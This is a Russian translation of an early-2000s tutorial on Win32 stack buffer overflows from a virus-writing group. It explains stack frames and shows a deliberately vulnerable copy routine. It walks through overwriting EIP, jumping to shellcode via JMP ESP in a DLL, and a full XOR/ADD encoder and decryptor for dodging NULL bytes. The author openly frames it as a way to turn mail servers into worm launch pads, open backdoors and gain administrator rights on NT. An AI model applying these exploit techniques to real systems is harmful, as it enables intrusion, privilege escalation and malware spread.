Вводный курс в переполнение буфера под Win32

Дата публикации 27 июн 2002

Вводный курс в переполнение буфера под Win32 — Архив WASM.RU

Основы : Введение

"Anarchists of the world unite!,
Arsonists of the world, ignite!"

"В совершенном молчании Петер медитировал в своей темной комнате. Он готовился к битве, которая должна была проходить не на этой стороне реальности, что требовало не меньшей выдержки и хладнокровия. Он был известным лидером, изучавшим тайны "черных искусств". Наконец он смог закончить превращение и полностью вошел в свою цифровую форму. В этом мире был известен как Belzath, хорошо известный создатель вирусов, создавший несколько очень сложных и "успешных" из них. В отличии от своего компаньона на этой стороне реальности он сражался с помощью вызываемых им сил, а не принимал участие в битве лично. Он был как зловещий паук, который наблюдает из безопасного укрытия тьмы. Его компаньон, так называемый темный мастер и искусный хакер, предпочитал открытую схватку. Сегодняшний курс посвящен тому, как поработить разум ничего не подозревающих врагов. Голос хакера отражался в голове Belzath'а: "Знать своего врага - значить победить его", темный мастер сформировал сгусток силы, известной как ассемблер, "Сердце создания можно достичь, используя силу ассемблера!". В яркой вспышке света Belzath получил опыт темного мастера, которым тот по-дружески поделился, впитал его и медленно исчез во тьме."

Мой урок будет состоять в том, как поработить процессор и контролировать его на расстоянии. С помощью знания, которое вы получите, прочитав эту статью, вы сможете трансформировать почтовый сервер в 'spawning pool' почтовых червей или, возможно, стартовую площадку вирусов. Сила DoS лежит в ваших руках. Но только то, что вы получили силу, не значит, что вы дожны злоупотреблять ей, это будет только ваше собственное решение и не вините меня, если из-за своих действий вы попадете в большие неприятносит. Переполнение буфера можно также использовать на локальной машине, чтобы получить права администратора. На NT часто бывает множество уровней доступа администратора и пользователей. Некоторые программы должны быть установлены с правами администратора, а поэтому должны запускаться на этом же уровне. Если вы сможете перехватить EIP (extended instruction pointer) из этой программы, вы сможете выполнять действия на уровне администратора, NT-станция будет в ваших руках...

Так что же такое переполнение буфера? Когда программа должна сохранить определенные данные, она может поместить их в прекомпилированные статические буферы в секции .DATA или использовать динамически зарезервированные буферы стеке (не путайте это с глобальной и виртуальной памятью, которая резервируется в RAM). Ладно, а что же такое стек? Это память, но она отлична от обычной памяти. Во-первых, она поделена на массивы DWORD'ов. Это значит, что вы не можете поместить в стек BYTE. Конечно, вы можете поместить в него 01h, но это значение будет выравнено до 00000001h. Что еще вам нужно знать о стеке? Во-первых, он растет от верхних адресов к нижним, от крыши до пола. Когда вы помещаете что-нибудь на вершине стека, вы, как правило, PUSH'ите это, а забиоаете назад с помощью инструкции POP. Вы должны учитывать то, как данные располагаются в стеке. Когда вы помещаете что-нибудь в стек, то чтобы получить доступ к элементу под ним, вам сначала нужно удалит только что помещенный. Это называется "последний вошел - первый вышел". Обратите внимание, что все, что находится в стеке - в формате 'big endian', т.е. перевернуто. Ну, не действительно переверунто, это всго лишь вопрос перспективы :smile3:. Адрес 11223344h будет выглядеть в стеке как 44332211h, поняли? KERNEL32.DLL можно рассматривать как первую главу книги, названной "Кошмар смерти - издание Windows", потому что ваша программа запускается с помощью API-вызова (возожно, CreateProcessA?) и Windows резервирует определенное количество стековой памяти, которое указано в заголовке PE (stack-commit, stack-reserve). ESP содержит стековый указатель, который указывает на его вершину (помните, он растет сверху вниз), обычно HLL'ы используют EBP в качестве указателя на стек кадра, но виркодеры обычно держат в нем дельта-смещение. Как бы то ни было, когда вы вызываете API или другую HLL-процедуру, будет создан соответствующий стековый фрейм. Это встроенный процесс под названием "пролог процедуры", обычно сохраняется старое значение EBP, а в этот регистр помещает значение ESP (EBP статичен, в то время как ESP будет меняться). В дальнейшем я расскажу вам больше о фреймах стека. Нет "универсального правила", какими они должны быть, но большинство HLL-компиляторов создает их строго определенным образом. Конечно, вы не можете избежать помещения адреса возврата на фрейм стека и параметров, но обычно виркодеры не используют EBP как указатель на фрейм стека. EBP также исзвестен как Extended BasePointer.

Так как виркодеры не являются нашими врагами, то об это нам волноваться не надо. Знай своего врага, помните? Ок, адрес возврата и параметра лежат на стеке, что дальше? Будем надеяться, что процедура использует какой-нибудь динамический буфер и "вырезает" дыру в стеке прямо снизу сохраненного EBP (я объясную структуру фрейма стека ниже). Предположим, что буфер содержит 3 WORD'а (3*4) = 12 байтов, что случиться, если вы впихнете в буфер 24 байта?

ПЕРЕПОЛНЕНИЕ БУФЕРА!!! Вы пишете за пределы границ буфера и в запрещенную территорию, но нет никого, чтобы охранять драгоценные данные, а что еще лучше, вы можете выполнить код на стеке, классно! Если вы правильно переполните буфер, вы легко сможете изменить адрес возврата и перехватить EIP процесса, т.е. его выполнение! вы може

Идем дальше : Глава I

(Основная цель : разведуем область)

Основная цель : разведуем область

Так что насчет фреймового стека, о котором я говорил? Как он выглядит, как он создается, и для чего он нужен? Хорошо, вот как он построен:

Код (Text):
  1.  
  2.  push   00000003h ; PUSH параметр 3 в стек
  3.  push   00000002h ; PUSH параметр 2 в стек
  4.  push   00000001h ; PUSH параметр 1 в стек
  5.  call   function  ; Адрес возврата заPUSHен в стек (OFFSET 00400300h)
  6.  ;OFFSET 00400300h
  7.  
  8.  ret              ; Возвращаемся в предыдущий фрейм (KERNEL32.DLL API)
  9.  
  10.  
  11.  function proc local_var:DWORD
  12.  push   ebp       ; PUSH старый EBP в стек
  13.  mov    ebp,esp   ; устанавливаем EBP (base pointer->frame-pointer), чтобы он
  14.                   ; был равен текущему значению стекового указателя.
  15.  
  16.  sub    esp,12d   ; открываем стековый буфер
  17.  
  18. ; Выполняем некое действие
  19.  
  20.  add    esp,12d   ; закрываем стековый буфер
  21.  
  22.  pop    ebp       ; Restore old EBP from stack (previous frame-pointer)
  23.  ret              ; RETURN to the return address on stack (next paper on
  24.                   ; the pile)
  25.  pop    ebp       ; Восстанавливаем старый EBP из стека (предыдущий фреймовый
  26.  ret              ; указатель. RETURN на старый адрес, лежащий на стеке
  27.                   ; (следующий элемент)
  28. function endp

Вот как это выглядит:

Код (Text):
  1.  
  2.  ------------------------------------------------
  3.  |    Графическое отображение фрейма стека      |
  4.  |   .........                        .......   |
  5.  |   Параметр3                        4 bytes   | OFFSET : 01000020d
  6.  |   Параметр2                        4 bytes   | OFFSET : 01000016d
  7.  |   Параметр1                        4 bytes   | OFFSET : 01000012d
  8.  |   Адрес возврата                   4 bytes   | OFFSET : 01000008d
  9.  |   Старый EBP                       4 bytes   | OFFSET : 01000004d
  10.  -------------------------------------------------
  11.  |   Буфер                           12 bytes   | OFFSET : 01000000d
  12.  |----------------------------------------------|

Вы PUSHите параметры в стек, вызываете процедуру, инструкция call помещает адрес на стек и переходит к адресу fuction(). function() выполняется стандартный HLL'овский "пролог процедуры", который заключается в помещении теущего значения EBP на стек, а затем загрузки в него ESP. Наша function() делает 12-байтную дыру в стеке для нашего буфера, а затем заполняет ее снова, потом восстанавливает старый EBP из стека и выполняет операцию, которая передает контроль по адресу возврата, который лежит непосредственно на стеке (адрес возврата иногда называют адресом инструкции). Теперь вы знаете, как выглядит фрейм стека, как его строят и зачем. Между прочим, EBP используется для ссылки на локальные переменные и параметры.

Глава II

(Основная цель : Нахождение переполнения буфера) (Вторичная цель : Буфер переполнения)

Основная цель : Нахождение буфера переполнения

Для простоты я использую состояние переполнения буфера и фрейм стека, приведенные выше. Так как буфер может содержать определенное количество байтов/символов, вы должны дизассемблировать функцию и "вручную" проверить, насколько велик буфер, или вы можете узнать это с помощью "грубой силы", что означает путь проб и ошибок. Как бы то ни было, в конце концов вы должны узнать длину буфера. Обратите внимание, что переполнение буфера возникает только тогда, когда длина буфера не проверяется. Некоторые из таких функций API - это lstrcpy, lstrcat и все HLL-функции, которые используют их или сами подвержены тому же недостатку (gets(), sprintf() и vsprintf()).

Вот модифицированная версия вышеприведенной процедуры function(). Полный исходник данной программы называется BOAL.ASM и его можно найти здесь.

buffer_proc PROC parameter_1:DWORD

Код (Text):
  1.  
  2. ; int     3h
  3. ; устанавливает брикпоинт в программе, чтобы вы могли изучить ее в действии,
  4. ; если не хотите искать, когда переполняется буфер путем проб и ошибок
  5.  
  6. push    ebp
  7. mov     ebp,esp
  8.  
  9. mov     esi,dword ptr [parameter_1] ; Указатель на адрес строки в памяти
  10.                                     ; (строка заканчивается NULL)
  11. sub     esp,12d                     ; Размер буфера - узнайте его с помощью
  12. mov     edi,esp                     ; метода номер 1.
  13.  
  14. stuff_it_in:
  15. cmp     byte ptr [esi],0            ; Ищем NULL, завершающий строку
  16. je      found_copy_end              ; Если нашили, то мы в конце строки
  17. cmp     byte ptr [esi],0dh          ; Проверяем на перевод строки
  18. je      found_copy_end              ; Если нашли, то мы в конце строки
  19. cmp     byte ptr [esi],0ah          ; Проверяем на возврат каретки
  20. je      found_copy_end              ; Если нашли, то мы в конце строки
  21. movsb                               ; Продолжаем
  22. jmp     stuff_it_in
  23.  
  24. found_copy_end:
  25. ;int     3h
  26.  
  27. add     esp,12d                     ; корректируем стек
  28.  
  29. pop     ebp                         ; Получаем старое значение EBP
  30. ret                                 ; RETURN на сохраненный адрес инструкции
  31.  
  32. buffer_proc endp

Вы вы вызываете вышеприведенную процедуру примерно так:

Код (Text):
  1.  
  2. lea     eax,string_i_want_to_copy
  3. push    eax
  4. call    buffer_proc

В C она выглядит следующим образом:

Код (Text):
  1.  
  2. ReturnVal = buffer_proc(mem_address);

Где mem_address - это 32-х битное целое число, указывающее на адрес в памяти, по которому находится ваша строка, оканчивающаяся NULL'ом. Вы можете использовать функцию GetCommandLineA, чтобы убыстрить тестирование различных длин строк. Вы можете также написать брутофорсер, который будет постоянно скармливать buffer_proc() строки различныой длины и печать строки, которые вызывают ошибку нарушения доступа (требуется специальный SEH-обработчик). Убедитесь, что вы заполнили буфер значениями, которые вы сможете распознать в HEX-кодировке. Например, если заполнили его символами "x", EIP должен быть переправлен на адрес 78787878h, если он полностью перезаписан.

Примеры использования метода #2 приведены в BOAL.ASM.

Код (Text):
  1.  
  2. boal.exe /x
  3.  
  4. >no result<
  5. 1 byte character
  6.  
  7. ...
  8.  
  9. boal.exe /xxxxxxxxxxxxxxxx
  10.  
  11. >result = EBP = 78787878h<
  12. 16 байт символов
  13.  
  14. boal.exe /xxxxxxxxxxxxxxxxxxxx
  15.  
  16. >result = EBP = 78787878h<
  17. >         EIP = 78787878h<
  18. >Access violation at address 78787878h<
  19. 20 байт символов

Вторичная цель : Буфер переполнения

Первым перезаписывается EBP, а за ним следует EIP... Ок, теперь имеет смысл взглянуть на фрейм стека и как он выглядит после переполнения

Код (Text):
  1.  
  2.  -------------------------------------------------
  3.  |     Stack-frame graphical display             |
  4.  |   parameter_1           (87654321h) 4 bytes   | OFFSET : 01000012d
  5.  |   Return Address [xxxx] (78787878h) 4 bytes   | OFFSET : 01000008d
  6.  |   Old EBP        [xxxx] (78787878h) 4 bytes   | OFFSET : 01000004d
  7.  -------------------------------------------------
  8.  |   Buffer [xxxxxxxxxxxx] (78h)*12   12 bytes   | OFFSET : 01000000d
  9.  |-----------------------------------------------|

Если буфер был бы больше, мы могли бы вместить в него некоторый код и изменить адрес возврата на начало буфера. Но с 12-ю байтами нам много не удастся :smile3:, поэтому мы будем вынуждены перезаписать нашим кодом стек до адреса возврата. Параметр_1 будет перезаписан, но в нашем примере он уже был использован, и будем надеяться, что продура больше не будет его использовать до самой инструкции ret. Сейчас мы столкнулись с первой проблемой, если адрес, которым мы хотим переписать EIP, содержит байт NULL, мы не можем поместь код до этого, потому что он будет считаться разделителем, и это даже может повредить новому адресу в EIP. МЫ уперлись в стену, что же делать~? Чтобы найти решение этой проблемы, мы должны запустить отладчик и взглянуть на состояние регистров процессора во время переполнения буфера. Часть ESP указывает на начало буфера, а EDI - на его конец. Если вы найдете регистр, который указывает на что-нибудь внутри буфера, мы сможем заполнить его NOP'ами (0x90h) и инструкцией перехода на код после адреса возврата. ESP может часто выполнять эту функцию, но как значение регистра процессора можно использовать в наших целях? Мы должны быть умны, ведь вы умны, не так ли? Вы же скачали Xine#5 (зашли на мой сайт - прим. переводчика). Давайте представим, что ESP содержит адрес начала буфера, и мы заполнили буфер до старого EBP и адреса возврата NOP'ами и JMP на 10 байт после адреса возврата.

Самое лучшее - если программа использует DLL'ы, в которой есть требуемая последовательность опкодов по адресу без байтов NULL. Чтобы найти такую последовательность, скомпилируйте какой-нибудь код, который содержит опкод (JMP ESP, например), затем стартуйте ваш отладчик и проверьте шестнадцатиричное значение. У NOP'а, например, шестнадцатиричное значение 90h, чтобы найти этот опкод внутри DLL или программы, вы должны использовать ваш дебуггер или гексредактор и найти с его помощью опкод. У SoftIce есть команда s, напечатайте HELP s, чтобы получить больше инсформации. Как только вы нашли адрес в памяти, в котором содержится желаемый опкод, и нет NULL-байта, вы можете использовать его в качестве нового адреса возврата в вашем эксплойтном коде. Таймаут! Я надеюсь, что вы не потеряли нить рассуждений, давайте повторим это еще раз... Если адрес в стеке, который мы хотели сделать новым адресом возврата содержит NULL, а буфер слишком мал, чтобы вместить весь наш код, мы должны выполнить стековый переход. Это означает, что мы должны найти регистр процессора, указывающий на адрес памяти, которую мы можем заполнить нашим кодом. Как только мы нашли такой регистр, мы должны найти адрес памяти внутри какой-нибудь DLL, которая выполняет JMP >REG< или CALL >REG<, где >REG< - это регистр, содержащий адрес, который мы хотим сделать адресом возврата. Ок, теперь у нас есть адрес, указывающий на опкод JMP >REG< и не содержащий NULL-байтов, а >REG<, указывающий на наш код...

Глава III

(Основная цель : Как разрешить ситуацию с плохими опкодами) (Вторичная цель : Написание "полезной нагрузки")

Основная цель : Как разрешить ситуацию с плохими опкодами

Мы перенаправили адрес возврата на наш код, но он наш код должен быть неприкосновенен, чтобы успешно выполнить свою задачу в дальнейшем... так как он может быть неприкосновенен? Во время переполнения буфера код передается API- или иной процедуре. И что? Переполнения буфера часто происходят во время обработки строк, которые копируют/перемещают байты строки, пока не доходят до NULL. Некоторые API также останавливаются на байтах CR или LF (0dh, 0ah). Если ваш код содержит какие-либо байты NULL, что бывает всегда (хорошо, почти всегда), вам придется зашифровать его. Лучший метод - это комбинировать XOR и ADD, с помощью которых можно сделать зашифрованный код, в котором почти не будет символов NULL/CR/LF.

Код (Text):
  1.  
  2. call generate_decryptor
  3.  
  4. ret
  5.  
  6. generate_decryptor:
  7.  
  8. ;int     3h
  9.  
  10. xor     edx,edx
  11. mov     eax,arcane_total_size
  12. add     eax,1d
  13. push    eax
  14. push    edx
  15. call_   arcane_GlobalAllocA
  16.  
  17. ; Резервируем arcane_total_size + 1 байтов памяти для зашифрованного кода
  18.  
  19. mov     dword ptr [ebp+arcane_cryptmem],eax
  20. ; сохраняем адрес памяти
  21.  
  22. call    find_enc_keys
  23. test    eax,eax
  24. je      all_keys_bad
  25.  
  26. ; проверяем, нашли ли мы схему шифрования
  27.  
  28. ;int     3h
  29.  
  30. mov     byte ptr [ebp+xor_val],al
  31. mov     byte ptr [ebp+add_val],bl
  32.  
  33. ; Мы нашли схему и сохраняем значения
  34.  
  35. all_keys_bad:
  36.  
  37. ; или мы нашли ключи или нет
  38.  
  39. ret
  40.  
  41.  
  42. find_enc_keys:
  43. xor     eax,eax
  44. restart_search:
  45. lea     esi,[ebp+arcane_project]
  46. mov     edi,dword ptr [ebp+arcane_cryptmem]
  47. mov     ecx,arcane_total_size
  48. cld
  49. rep     movsb
  50.  
  51. ; Копируем наш код в зарезервированную память
  52.  
  53. mov     edi,dword ptr [ebp+arcane_cryptmem]
  54. mov     ecx,arcane_total_size
  55. find_key:
  56. inc     eax
  57. enc_body:
  58. xor     byte ptr [edi], al
  59. inc     edi
  60. loop    enc_body
  61.  
  62. ; Шифруем XOR'ом (XOR-значение в AL)
  63.  
  64. mov     edi,dword ptr [ebp+arcane_cryptmem]
  65. mov     ecx,arcane_total_size
  66.  
  67. check_if_valid_enc:
  68. cmp     al,255d
  69. jae     no_more_byte_key
  70. loop_the_enc_body:
  71. cmp     byte ptr [edi],0
  72. je      found_invalid_byte
  73. cmp     byte ptr [edi],0ah
  74. je      found_invalid_byte
  75. cmp     byte ptr [edi],0dh
  76. je      found_invalid_byte
  77. inc     edi
  78. loop    loop_the_enc_body
  79. jmp     found_enc_key
  80.  
  81. ; Проверяем, правильный ли получился код или он содержит нежелательные байты
  82.  
  83. found_invalid_byte:
  84. call    test_adds
  85. test    ebx,ebx
  86. je      restart_search
  87.  
  88. found_enc_key:
  89. ret
  90.  
  91. no_more_byte_key:
  92. xor     eax,eax
  93. ret
  94.  
  95.  
  96. test_adds:
  97. xor     ebx,ebx
  98.  
  99. find_add:
  100. mov     edi,dword ptr [ebp+arcane_cryptmem]
  101. mov     ecx,arcane_total_size
  102. inc     ebx
  103. add_body:
  104. add     byte ptr [edi], bl
  105. inc     edi
  106. loop    add_body
  107.  
  108. ; Делаем шифрование кода с помощью ADD (причем мы уже зашифровали его XOR)
  109.  
  110. mov     edi,dword ptr [ebp+arcane_cryptmem]
  111. mov     ecx,arcane_total_size
  112.  
  113. check_if_valid_add:
  114. cmp     bl,255d
  115. jae     no_more_add_byte
  116. loop_the_add_body:
  117. cmp     byte ptr [edi],0
  118. je      found_invalid_add
  119. cmp     byte ptr [edi],0ah
  120. je      found_invalid_add
  121. cmp     byte ptr [edi],0dh
  122. je      found_invalid_add
  123. inc     edi
  124. loop    loop_the_add_body
  125. jmp     found_add_key
  126.  
  127. ; Проверяем, верен ли наш код, или он содержит нежелательные байты
  128.  
  129. found_invalid_add:
  130.  
  131. mov     edi,dword ptr [ebp+arcane_cryptmem]
  132. mov     ecx,arcane_total_size
  133. sub_body:
  134. sub     byte ptr [edi], bl
  135. inc     edi
  136. loop    sub_body
  137. jmp     find_add
  138.  
  139. ; Расшифровываем тело, чтобы мы могли применить другой ADD-значение
  140.  
  141. found_add_key:
  142. ret
  143.  
  144. no_more_add_byte:
  145. xor     ebx,ebx
  146. ret
  147.  
  148. ;db "decryptor_start",0
  149.  
  150. decryptor_start:
  151.  
  152. xor     eax,eax
  153. xor     ecx,ecx
  154. jmp     get_loc
  155. got_loc:
  156. pop     esi
  157.  
  158. mov     cx,arcane_total_size
  159. xor_it:
  160. sub     byte ptr [esi],0h
  161. add_val equ $-1
  162. xor     byte ptr [esi],0h
  163. xor_val equ $-1
  164. inc     esi
  165. loop    xor_it
  166.  
  167. jmp     encrypted_start
  168.  
  169. get_loc:
  170. call    got_loc
  171. encrypted_start:
  172.  
  173. decryptor_end:
  174.  
  175. ;db "decryptor ends here",0
  176.  
  177. decryptor_len   equ $-offset decryptor_start

Так как код декриптора не может содержать NULL-байтов, мы должны быть находчивы как это только возможно. Чтобы получить смещения, по которым находятся NULL-байты, мы должны использовать то, как CALL помещает адрес возврата на стек и POPит его в регистр. Например:

Код (Text):
  1.  
  2. jmp     get_my_offset
  3. got_it:
  4. pop     edi ; EDI = THIS OFFSET
  5. ; остальное тело нашего декриптора
  6. get_my_offset:
  7. call    got_it
  8. ;THIS OFFSET
  9. db "encrypted code here",0

Наш зашифрованный код находится в памяти, так же рак и его декриптор. Что дальше? "Полезная нагрузка"... Нам нужен какой-то код, который будет выполнен. Давайте дадим волю воображению.

Вторичная цель : Написание "полезной нагрузки"

Теперь, когда контроль в ваших руках, и ваш код может выполниться, то чего вы ждете? Теперь можно, например, открыть соединение с интернетом и скачать дополнительный компонент, это называется EGG-процедура. Вы также можете открыть backdoor, а если вы находитесь на машине, отключенной от интернета, вы можете выполнить какой-нибудь бат-файл, с командами, которые должны быть исполнены с более высокими правами. Если вы находитесь на NT-машине, вы можете запустить командную строку (CMD.EXE), которая запустится на более высоком уровне уровне доступа, как и все, что вы будете делать с ее помощью. Я не буду объяснять, как получить API-адрес. Вы можете достать их из KERNEL32.DLL тем же методом, который применяется в win32-вирусах. Вы можете достать их из таблицы импорта программы, к которой был применен эксплойт, но иногда в них нет всех необходимых API. Тогда вам нужно посмотреть LoadLibrary и GetProcAddress. Я оставляю это на вас.

Дополнение

Код (Text):
  1.  
  2. NULL-байт = NULL Terminator 0x00h
  3. CR        = Carrier Return  0x0dh
  4. LF        = Line Feed       0x0ah
  5. Opcode    = Operation code
  6. EIP       = Exstended Instruction Pointer
  7. WORD      = Слово (2 байта)
  8. DWORD     = Двойное слово (4 байта)
  9. RAM       = Random Access Memory (temporary storage [one boot-session])
  10. HLL       = Highlevel language (как C++, Delphi и так далее)
© Asmodeus iKX, пер. Aquila

0 1.209
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532